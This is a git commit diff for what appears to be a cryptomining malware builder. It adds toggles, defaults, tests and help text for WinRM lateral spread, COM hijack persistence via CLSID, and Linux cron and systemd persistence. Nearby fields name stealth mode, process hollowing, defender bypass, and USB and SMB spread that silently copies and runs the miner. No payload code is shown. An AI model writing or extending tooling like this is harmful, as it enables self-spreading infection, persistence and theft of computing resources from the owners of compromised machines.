Add forge spread toggles for WinRM and Linux LOTL
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 00:43:21 -07:00
parent 9ad4cce194
commit 6761d4285c
13 changed files with 204 additions and 3 deletions

View File

@@ -1,6 +1,7 @@
import { describe, expect, it } from 'vitest';
import { DOC_ANCHORS, docAnchorForField } from './docAnchors';
import { FIELD_HELP } from './settingHelp';
import { UI_HELP } from './uiHelp';
/** Fields rendered with HelpTip in BuilderPage + SettingsPage. */
const HELP_TIP_FIELDS = [
@@ -8,7 +9,7 @@ const HELP_TIP_FIELDS = [
'obfuscate_default', 'sign_enabled', 'sign_cert_thumbprint', 'sign_tool_path', 'sign_timestamp_url',
'worker_name', 'server_url', 'https_beacon_fallback', 'wallet', 'pool_pass',
'target_os', 'target_arch', 'output_dir', 'thread_mode', 'thread_percent', 'threads',
'cpu_priority', 'max_cpu_usage_pct', 'max_memory_percent', 'min_free_ram_mb', 'mining_mode',
'cpu_priority', 'max_cpu_usage_pct', 'max_memory_percent', 'min_free_ram_mb', 'mining_mode', 'miner_execution',
'idle_threshold_pct', 'idle_duration_minutes', 'schedule_start', 'schedule_end',
'install_base', 'install_custom_base', 'install_relative_path', 'adapt_to_hardware',
'firewall_exclusion', 'self_healing', 'stealth_mode', 'process_hollowing', 'file_logging',
@@ -19,6 +20,8 @@ const HELP_TIP_FIELDS = [
'obfuscate', 'sign_build', 'sigil_scramble', 'ai_enabled', 'ai_ollama_endpoint', 'ai_model',
'forge_operation_mode', 'forge_path_forge',
'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread',
'winrm_spread', 'com_hijack_persist', 'linux_lotl_mode',
'set_alerts', 'set_alert_notifications', 'set_webhook',
] as const;
describe('docAnchors', () => {
@@ -52,7 +55,7 @@ describe('docAnchors', () => {
it('every HelpTip field has a wiki anchor', () => {
for (const field of HELP_TIP_FIELDS) {
expect(FIELD_HELP[field], `missing FIELD_HELP for ${field}`).toBeDefined();
expect(FIELD_HELP[field] || UI_HELP[field], `missing help for ${field}`).toBeDefined();
expect(docAnchorForField(field), `missing DOC_ANCHORS for ${field}`).toMatch(
/^\/docs\/(#[\w-]+|SPREAD_TECHNIQUES\.html#[\w-]+)$/,
);

View File

@@ -68,6 +68,9 @@ export const DOC_ANCHORS: Record<string, string> = {
usb_spread: '/docs/SPREAD_TECHNIQUES.html#usb',
share_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
auto_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
winrm_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
com_hijack_persist: '/docs/SPREAD_TECHNIQUES.html#lan',
linux_lotl_mode: '/docs/SPREAD_TECHNIQUES.html#lan',
remote_aggressive: '/docs/#crucible-ops',
mesh_p2p: '/docs/#platform-matrix',
hole_punch: '/docs/#crucible-ops',
@@ -80,6 +83,7 @@ export const DOC_ANCHORS: Record<string, string> = {
// Crucible / agent remote
firewall_remote: '/docs/#crucible-ops',
firewall_exclusion: '/docs/#agent',
crucible_section_spread_templates: '/docs/SPREAD_TECHNIQUES.html#lan',
// Mission / builds
spread_kit: '/docs/#forge',
@@ -98,6 +102,9 @@ export const DOC_ANCHORS: Record<string, string> = {
websocket_ping_seconds: '/docs/#calibrate',
log_pool_traffic: '/docs/#calibrate',
webhook_url: '/docs/#calibrate',
set_alerts: '/docs/#calibrate',
set_alert_notifications: '/docs/#calibrate',
set_webhook: '/docs/#calibrate',
// Dashboard / fleet UI
dash_fleet_health: '/docs/#dashboard',

View File

@@ -12,6 +12,9 @@ describe('FORGE_BUILD_DEFAULTS', () => {
expect(FORGE_BUILD_DEFAULTS.ai_enabled).toBe(false);
expect(FORGE_BUILD_DEFAULTS.auto_spread).toBe(false);
expect(FORGE_BUILD_DEFAULTS.remote_aggressive).toBe(false);
expect(FORGE_BUILD_DEFAULTS.winrm_spread).toBe(false);
expect(FORGE_BUILD_DEFAULTS.com_hijack_persist).toBe(false);
expect(FORGE_BUILD_DEFAULTS.linux_lotl_mode).toBe('off');
});
it('omits per-build identity fields (filled by server merge)', () => {

View File

@@ -57,6 +57,9 @@ export const FORGE_BUILD_DEFAULTS: Omit<
remote_aggressive: false,
usb_spread: false,
share_spread: false,
winrm_spread: false,
com_hijack_persist: false,
linux_lotl_mode: 'off',
target_os: 'windows',
target_arch: 'all',
spread_kit: false,

View File

@@ -45,6 +45,19 @@ describe('forgeFormNormalize', () => {
expect(out.target_arch).toBe('amd64');
});
it('linux target clears Windows-only spread flags', () => {
const out = normalizeForgeForm(
baseForm({ target_os: 'linux', target_arch: 'amd64', winrm_spread: true, com_hijack_persist: true })
);
expect(out.winrm_spread).toBe(false);
expect(out.com_hijack_persist).toBe(false);
});
it('windows target clears linux lotl mode', () => {
const out = normalizeForgeForm(baseForm({ target_os: 'windows', linux_lotl_mode: 'both' }));
expect(out.linux_lotl_mode).toBe('off');
});
it('single deliverable cannot stay universal', () => {
const out = applyDeliverableType(baseForm({ target_os: 'universal' }), 'single');
expect(out.target_os).toBe('windows');

View File

@@ -76,6 +76,9 @@ export function spreadKitPreset(): Partial<BuildRequest> {
auto_spread: false,
usb_spread: false,
share_spread: false,
winrm_spread: false,
com_hijack_persist: false,
linux_lotl_mode: 'off',
};
}
@@ -137,6 +140,15 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest {
// Process hollowing — Windows workers only
if (isSingleUnixTarget(next.target_os)) {
next.process_hollowing = false;
next.winrm_spread = false;
next.com_hijack_persist = false;
}
// Linux LOTL persistence — Linux/universal workers only
if (isWindowsOnlyTarget(next.target_os)) {
next.linux_lotl_mode = 'off';
} else if (!next.linux_lotl_mode || next.linux_lotl_mode === '') {
next.linux_lotl_mode = 'off';
}
// Install base matches target OS family

View File

@@ -422,6 +422,34 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
remote_aggressive: { disabled: false, badge: 'baked' },
usb_spread: { disabled: false, badge: 'baked' },
share_spread: { disabled: false, badge: 'baked' },
winrm_spread: {
disabled: isUnixSingle,
badge: 'baked',
lockedReason: isUnixSingle
? 'WinRM spread is Windows-only.'
: isUniversal
? 'Only baked into the Windows worker inside universal builds.'
: undefined,
hint: isUniversal ? 'Windows agents only — Linux/macOS workers ignore this flag.' : undefined,
},
com_hijack_persist: {
disabled: isUnixSingle,
badge: 'baked',
lockedReason: isUnixSingle
? 'COM hijack persistence is Windows-only.'
: isUniversal
? 'Only baked into the Windows worker inside universal builds.'
: undefined,
hint: isUniversal ? 'Windows agents only — high-friction persistence via InprocServer32 CLSID hijack.' : undefined,
},
linux_lotl_mode: {
disabled: isWindowsOnly,
badge: 'baked',
lockedReason: isWindowsOnly
? 'Linux LOTL persistence applies to Linux/universal builds only.'
: undefined,
hint: isUniversal ? 'Linux worker only — systemd-run --user and/or crontab @reboot hooks after install.' : undefined,
},
target_os: {
disabled: isSpreadKit || isFusion,
badge: 'baked',

View File

@@ -108,6 +108,9 @@ describe('FIELD_HELP', () => {
'auto_spread',
'usb_spread',
'share_spread',
'winrm_spread',
'com_hijack_persist',
'linux_lotl_mode',
'hole_punch',
'remote_aggressive',
'target_os',
@@ -149,5 +152,8 @@ describe('FIELD_HELP', () => {
expect(FIELD_HELP.auto_spread).toContain('SMB');
expect(FIELD_HELP.usb_spread).toContain('USB');
expect(FIELD_HELP.share_spread).toContain('share');
expect(FIELD_HELP.winrm_spread).toContain('WinRM');
expect(FIELD_HELP.com_hijack_persist).toContain('CLSID');
expect(FIELD_HELP.linux_lotl_mode).toContain('systemd-run');
});
});

View File

@@ -126,6 +126,9 @@ export const FIELD_HELP: Record<string, string> = {
auto_spread: 'Lateral Movement: Silently attempts to copy and execute the miner on other machines in the local network using Windows SMB and Service Control Manager (SCM). Relies on the current user having network admin privileges.',
usb_spread: 'USB Propagation: Watches for newly inserted USB/removable drives and silently copies the agent onto them. Also installs a persistent WMI event subscription so any USB plugged into this machine in the future auto-infects — even after reboot. Creates a disguised LNK shortcut and autorun.inf on the drive.',
share_spread: 'Share Drop: Periodically scans mapped network drives and mounted NFS/SMB shares, then silently drops and launches the agent on any writable share. Also tries PowerShell Remoting (WinRM) on LAN hosts where it is enabled.',
winrm_spread: 'WinRM Spread: During autospread, sweeps the local /24 for WinRM-open hosts and deploys via encoded PowerShell bootstrap. Requires owned/lab targets with remoting enabled — separate from Share Drop opportunistic WinRM tries.',
com_hijack_persist: 'COM Hijack Persist: Registers the agent under an InprocServer32 CLSID hijack for stealthy relaunch. High-friction persistence — off by default; only enable on systems you fully own.',
linux_lotl_mode: 'Linux LOTL Mode: After install on Linux, registers native-tool persistence via systemd-run --user, crontab @reboot, both, or off. No extra drop — uses built-in OS scheduling only.',
hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',
remote_aggressive: 'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender bypass. Requires explicit button press; nothing runs automatically except what other toggles define.',
target_os: 'Target platform: Windows-only, Linux, macOS, or Universal (all three in one ZIP). Movie fusion and Spread Kit always use Universal.',